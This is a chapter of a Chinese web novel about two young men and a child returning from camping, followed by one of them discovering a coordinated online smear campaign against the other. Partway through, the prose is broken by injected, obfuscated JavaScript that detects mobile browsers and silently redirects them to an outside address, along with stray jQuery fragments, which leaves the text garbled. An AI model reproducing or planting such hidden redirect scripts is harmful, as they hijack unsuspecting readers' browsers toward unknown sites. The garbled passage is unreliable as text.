因为时渺要上班，所以次日一早天刚蒙蒙亮三人便要踏上返程。
时渺因生物钟而惊醒时帐篷里已经只剩下了他和林数二人。
轻手轻脚地钻出去一瞧，大高个正在收拾昨夜的残羹冷炙，听见动静转过身来，示意他过来吃早餐。
时渺揉了揉眼睛走过去，惊讶地发现早餐居然还挺丰盛。
小米粥、油条、花卷……甚至昨晚剩下的最后一包泡面也被煮得芳香四溢，面里还打了两个个高难度的溏心蛋。
时渺看着一桌子冒着热气的早餐就要流口水了，火速出门用山水漱了漱口洗了把脸，回来美美地吃了起来。
“你从哪儿搞来的这些东西？”时渺往嘴里塞着油条，随口问道。
“一早下山买的，不过蛋是自己打的。”
闻理随口答道，把打包好的东西全丢上手推车，然后钻进帐篷里去叫犹在甜梦中的小孩。
时渺：“？”
震惊地拿出手机看了一眼，这才不到5点半……这小子几点起的？？？
被轻轻抱出帐篷的时候林数整个人还是懵的，坐在椅子上靠着门框看着闻理忙前忙后地收拾着帐篷，半梦半醒地眯了一会儿，小脑袋一点一点地打着盹儿。
“你再睡下去的话可就没有早餐吃了哦。”趁着小孩又一次低下头微微睁开眼的工夫，时渺冲他晃了晃手里的花卷，笑道。
林数有些迷糊地睁开眼，发现桌上已经空了好几个盒子，登时瞪大了眼睛清醒过来，拔腿就跑了过去。
“给我留一点！！！”
时渺早就把小孩的份给留好了，见他过来，笑着把食盒往前推了推，掸了掸手起身帮着闻理收拾去了。
闻理扭头瞧了眼两人，笑着打趣：“看不出来，少爷带小孩还挺有一手。”
时渺帮着他把帐篷收拢叠起放到推车上，闻言鼻子立马就翘了起来：“那是。”
闻理把屋子里里外外重新打扫了一遍，又把陈设恢复成了来之前的样子，三人便起程下山了。
天气还算不错，没有下雨的路面走起来轻松多了，三人下山后时间尚早，闻理和时渺先把林数送回了“儿童之家”，院长早早就等在门口迎接了。
小孩一脸兴奋地给院长讲着昨天的一日见闻，院长笑着连连向两人道谢。
大门关上，时渺舒了口气，伸了个懒腰，准备迎接新的一周崭新的鸟班。
“那我去上班了，你也回家去吧，时间也不早了……”
话未说完就被打断。
“我送你到办公室楼下吧。”闻理黑色镜框下的眼眸流露着真挚，语气坚定。
“？”时渺狐疑地看着他，“没必要吧……你还带着这么多东西呢，不如先回去收拾一下再出来买菜？”
闻理只是笑笑，往前挪了挪手里的推车：“没事，正好推去菜场进进货。”
少爷皱眉，怎么赶不走。
时渺撇了撇嘴，不情不愿地憋出一句“那好吧。”
见男人完全没有要离开的意思，转身默许他当跟屁虫。
这是两人第二次走在一起，虽不像上一次那般并肩而立，但一前一后的走法更让少爷感到不适了，总感觉背后有一双眼睛时刻在盯着自己，怎么都不得劲，不时就伸手摆弄摆弄刘海、挠挠头、搓搓衣角，走起路来仿佛刚驯服四肢。
忍了一路头都没敢回的少爷好不容易捱到了单位楼下，可算是松了口气，转过身跟人打了声招呼。
“好了我到了，你也早点去菜场吧，这个点他们刚出摊，最新鲜。”
说完转身就要上楼，默默跟了一路的男人却突然叫住了他。
“诶等等……”
时渺条件反射地转过头，挑眉：“？”
闻理抿着唇几度欲言又止，最终只说了一句：“上班快乐。”
时渺：“……”
一句你有病吧噎了又噎总算咽了下去。
“我谢谢你啊，你也买菜快乐。”时渺皮笑肉不笑地说完，一步一蹬地上楼去了。
*
自打上回露营回来之后，时渺一连数日都没有再见过闻理，连同直播间他也都没有再去过。
少爷是一个非常有原则的人，只要认定自己没错，如果对方不低头道歉，他就绝对不主动讲和。
甚至因为怕自己会忍不住去查看闻理的动态，自从吵架冷战后的很长一段时间里时渺连直播软件都没有打开过。
再次想起这事已经是半个月后了，原因是直播平台推送了一条视频。
时渺本想照例直接滑走，却无意瞄到了关键词，手指一顿。
【震惊！某知名乡村主播竟当众插队？】
右眼皮瞬间快速跳动了起来，一股不好的预感袭上心头，时渺当即打开软件查看视频。
怕什么来什么，如他所料，正是那日在椒美乐超市发生的事。
而且从拍摄视角和周围杂音来看，拍摄者应该就是隔壁理发店里的那两个年轻人。
视频画面也明显经过剪辑，只留下了闻理理直气壮插队的部分，而后面经过调解后重新回到队尾排队的部分却全部一剪没。
完全是断章取义式的叙事，配上阴阳怪气故作浮夸的配音解说，一时之间弹幕的舆论矛头直指闻理，每一句都骂得非常难听，甚至还有人直接曝出了他的直播间号。
第一条弹幕刷出直播间号后，紧跟着就是满屏的相同数字刷屏。
该死的造谣水军，时渺心下暗咒。
皱着眉二倍速看完视频后的第一件事就是查询闻理状态——
点开熟悉的主页一看直播动态，闻理已经多日未开播了，而最近的几次直播都仅仅持续了 5分钟。
时渺不觉眉心越皱越深，又回到首页广场继续滑动浏览。
平日里推送着各大娱乐直播间和各种八卦新闻的首页今日居然都被闻理的这个事件刷屏了。
不对劲，太不对劲了。
时渺看到了几张闻理近期直播的截图，发表者是一个IP地址为名字巨长听都没听过的国家的三无游客小号。
乍看之下只是几张寻常的直播截图，点开大图查看，原来重点内容全在评论区。
污言秽语，脏话连篇，不堪入目。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352411|167683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
整整9图各不相同的恶意言论，人人都在唾弃主播的可耻行为。
时渺眯着眼看着那一行行锥心的文字，颤抖的手指不断往下滑动着，偶然看见有一两条澄清的言论，大概说的是“视频是断章取义的，小伙子是被人插队在先的”、“小伙子后来到后面重新排队了”……
然而，真相无人在意。
整个首页都是一场批判罪行的狂欢。
时渺看着那零星几句的辩驳淹没在漫天的咒骂声中，只觉得汗毛倒竖。
刷着刷着，时渺又看到了关于闻理的其他信息。
【来扒一扒最近很火的某乡村主播】
这个号主自称是闻理的大学室友，下面又配了整整9张长图文来列举他在校期间的种种“恶行”。
时渺一张张点开来看，大脑越来越燥热。
【在校期间偷东西，几个室友的贵重物品全被他偷了个遍】
【申领贫困生补助却没有成功，是个什么成分大家有数了吧？】
【本来差点被延毕，结果傍上了金主替他解决了】
【听说啊后来还让公司给开了呢！】
【……】
一字一句地读过，沸腾的血液直冲脑门，直到看到最后一张，满腔怒火瞬间被浇灭，随之而来的是蚀骨的凉意，时渺不禁遍体生寒，如坠冰窖——
就在那最后一张图里，是一张□□的裸照。
只一眼，时渺就红着眼眶退了出去，愤怒值在这一刻达到顶峰，周身连带着呼吸都在发颤。
整整九张图里有不少拍到的都是闻理的正脸，这些畜生甚至连个码都不打。
欺人太甚！
每张照片里闻理的表情都是淡淡的，漠然地低垂着眸子看着地面，似乎早已对这种凌辱麻木了。
这副模样让时渺想起了他平日里的样子，总是这么淡漠、没什么表情，似乎没什么事情能激起他的情绪。
时渺以为他是天生的冷漠疏离，却原来是这样……
而这条帖子下面跟着还有很多很多类似的文案图片。
文案相差无几，可其中的照片却各不相同。
各个角度，各种背景，各式各样的姿态……
时渺咬着唇，手指在屏幕上使劲地往下滑了又滑，却迟迟未见底。
这样的发帖量，显然不是一个人可以做到的。
难以想象闻理在校期间究竟遭受了怎样的校园暴力……
时渺不知道自己是怎么耐着性子颤抖着手一个一个点的举报。
直到滑到最后一条的那一秒，眼眶里的泪水终于抑制不住滚落。
这分明就不是什么维护社会秩序……
这群自诩道德高尚的网友，打着声张正义的名号，全然不知自己的所作所为正在撕碎一个善良正直的人。
时渺重点看了看图文并茂写得最细致的那几条，IP地址无一不是江市。
看来真的是熟人作案。
如此歹毒的拍摄角度，如此精心设计般的排版……
看起来就像是……
一场蓄谋已久的网暴。